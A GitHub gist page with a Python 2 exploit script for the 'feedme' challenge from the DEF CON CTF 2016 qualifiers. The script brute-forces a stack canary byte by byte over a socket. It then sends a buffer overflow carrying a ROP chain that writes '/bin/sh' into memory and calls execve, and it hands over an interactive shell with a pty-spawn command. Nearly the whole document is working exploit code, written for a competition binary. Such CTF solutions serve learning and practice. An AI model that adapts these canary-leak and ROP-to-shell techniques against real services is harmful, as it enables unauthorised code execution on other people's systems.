Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created May 23, 2016 09:33
Show Gist options
  • Save hugsy/0f196cfb8c62a4c56fdbc424cb7883bf to your computer and use it in GitHub Desktop.
Save hugsy/0f196cfb8c62a4c56fdbc424cb7883bf to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
#
# feedme challenge
# defcon ctf 2016
#
# @_hugsy_
#
import socket, struct, sys, telnetlib, binascii
HOST = "feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me"
HOST = "172.28.128.4"
PORT = 4092
def hexdump(src, length=0x10):
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result=''
while src:
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s])
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length
return result
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key)))
def p16(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i)
def u16(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0]
def p32(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i)
def u32(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0]
def p64(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i)
def u64(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0]
def _xlog(x): sys.stderr.write(x + "\n") ; sys.stderr.flush() ; return
def err(msg): _xlog("[!] %s" % msg)
def ok(msg): _xlog("[+] %s" % msg)
def dbg(msg): _xlog("[*] %s" % msg)
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg))
def asm(code, arch="None", mode=None):
import keystone
ks = keystone.Ks(arch, mode)
try: enc, cnt = ks.asm(code)
except: enc = []
return bytearray(enc)
def build_socket(host, port):
s = telnetlib.Telnet(HOST, PORT)
ok("Connected to %s:%d" % (host, port))
return s
def interact(s, live_tty=False):
pty = """python -c "import pty;pty.spawn('/bin/bash')" """
try:
if live_tty: s.write(pty + '\n')
else: ok("""Get a PTY with ' %s '""" % pty)
s.interact()
except KeyboardInterrupt:
ok("Leaving")
except Exception as e:
err("Unexpected exception: %s" % e)
return
def xsend(s, buf, buflen):
s.read_until("FEED ME!\n")
s.write( chr(buflen) )
s.write( buf )
return
def leak_canary_byte(s, can, off):
for i in range(256):
p = 'A'*32 + can + chr(i)
xsend(s, p, len(p) )
res = s.read_until("\n")
res2 = s.read_until("\n")
if res2 != "Child exit.\n":
return chr(i)
return None
def leak_canary(s):
can = ""
for i in range(4):
b = leak_canary_byte(s, can, i)
if b is None:
err("bail")
exit(1)
ok("Found canary[%d]=%.2x"%(i, ord(b)))
can += b
return can
def pwn(s):
ok("Leaking canary using BROP")
canary = leak_canary(s)
ok("Using canary '%#.8x'" % u32(canary))
ok("Building shellcode")
bss = 0x080EBF40
rop = ""
# *bss = /bin/sh
rop+= p32(0x080bb496) # pop eax ; ret
rop+= p32(0x6e69622f) # /bin
rop+= p32(0x806f34a) # pop edx ; ret
rop+= p32(bss)
rop+= p32(0x8065ff2) # mov dword ptr [edx], eax ; mov eax, edx ; ret
rop+= p32(0x080bb496) # pop eax ; ret
rop+= p32(0x0068732f) # /sh
rop+= p32(0x806f34a) # pop edx ; ret
rop+= p32(bss+4)
rop+= p32(0x8065ff2) # mov dword ptr [edx], eax ; mov eax, edx ; ret
# sys_execve(/bin/sh)
rop+= p32(0x806f34a) # pop edx ; ret
rop+= p32(0x00)
rop+= p32(0x806f371) # pop ecx ; pop ebx ; ret
rop+= p32(0x00)
rop+= p32(bss)
rop+= p32(0x80bb496) # pop eax ; ret
rop+= p32(11)
rop+= p32(0x8049761) # int 80h
payload = "A"*32 + canary + "B"*12 + rop
# raw_input("Attach with GDB and hit Enter ")
ok("Sending shellcode")
xsend(s, payload, len(payload))
res = s.read_until("\n")
return True
if __name__ == "__main__":
s = build_socket(HOST, PORT)
if pwn(s):
ok("Switching to interactive...")
interact(s, False)
ret = 0
else:
err("Failed to exploit")
ret = 1
s.close()
exit(ret)
# auto-generated by gef
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment